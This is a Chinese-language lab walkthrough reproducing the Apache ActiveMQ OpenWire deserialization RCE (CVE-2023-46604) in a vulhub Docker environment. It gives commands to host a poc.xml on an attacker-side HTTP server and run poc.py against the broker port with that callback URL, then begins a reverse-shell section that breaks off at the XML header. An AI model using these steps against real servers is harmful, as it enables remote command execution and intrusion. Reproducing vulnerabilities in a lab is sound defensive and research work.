漏洞名称
Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞
漏洞描述
Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。
影响版本
Apache ActiveMQ <= 5.18.2
环境搭建
下载vulhub
bash
git clone https://github.com/vulhub/vulhub.git
进入漏洞目录
bash
cd vulhub/activemq/CVE-2023-46604
启动环境
bash
docker-compose up -d
漏洞复现
首先,启动一个HTTP反连服务器,其中包含我们的poc.xml:
python
python3 -m http.server 6666
然后,执行poc.py,传入的三个参数分别是目标服务器地址、端口,以及包含poc.xml的反连平台URL:
python
python .\poc.py 192.168.171.101 61616 http://192.168.2.116:6666/poc.xml
可以看到poc执行成功
反弹shell
修改xml文件为反弹shell命令
xml
<?xml version="1.0" encoding="UTF-8" ?>

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
